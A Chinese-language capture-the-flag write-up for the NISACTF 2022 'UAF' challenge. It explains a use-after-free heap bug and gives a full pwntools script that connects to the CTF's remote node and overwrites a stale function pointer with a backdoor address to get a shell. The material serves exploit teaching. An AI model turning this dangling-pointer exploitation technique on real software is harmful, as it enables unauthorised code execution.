PWN入门-UAF

[NISACTF 2022]UAF

UAF(Use After Free)。当堆上的一块空间被释放后没有赋值为NULL时,下一次分配还会分配到这一块堆,且数据依然保留。

思路如下:

利用create创建“note 0”,并malloc给.bss段上的page。*(_DWORD *)page处为字符串地址,*((_DWORD *)page+1)处为函数指针。

利用delpage[0]free掉,但并未赋值为NULL。道理类似于栈,堆顶下移但free掉的数据仍然保留。

漏洞点在show中,但不接受参数0,所以要将序号推到1再进行shellcode写入。

再次create“note 1”,并edit时注入shellcode,这时。在+0偏移处写入4字节(i386架构)“sh\x00\x00”,偏移+4处写入后门NICO地址。

最后show“note 0”时,page[0]依然指向create“note 1”时分配的堆,并在(*((void (__cdecl **)(char *))page + 1))(page);处执行shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context(log_level='debug',arch='i386',os='linux')
p=remote("node4.anna.nssctf.cn",28763)
elf=ELF("./attachment")
p.recvuntil("4.show\n:")
p.sendline(b'1')
p.recvuntil("4.show\n:")
p.sendline(b'3')
p.recvuntil("Input page")
p.sendline(b'0')
p.recvuntil("4.show\n:")
p.sendline(b'1')
p.recvuntil("4.show\n:")
p.sendline(b'2')
p.recvuntil("Input page")
p.sendline(b'1')
p.recvuntil("Input your strings")
shellcode=b'sh\x00\x00'
nico_addr=elf.symbols["NICO"]
payload1=flat([shellcode,nico_addr])
p.sendline(payload1)
p.recvuntil("4.show\n:")
p.sendline(b'4')
p.recvuntil("Input page")
p.sendline(b'0')
p.interactive()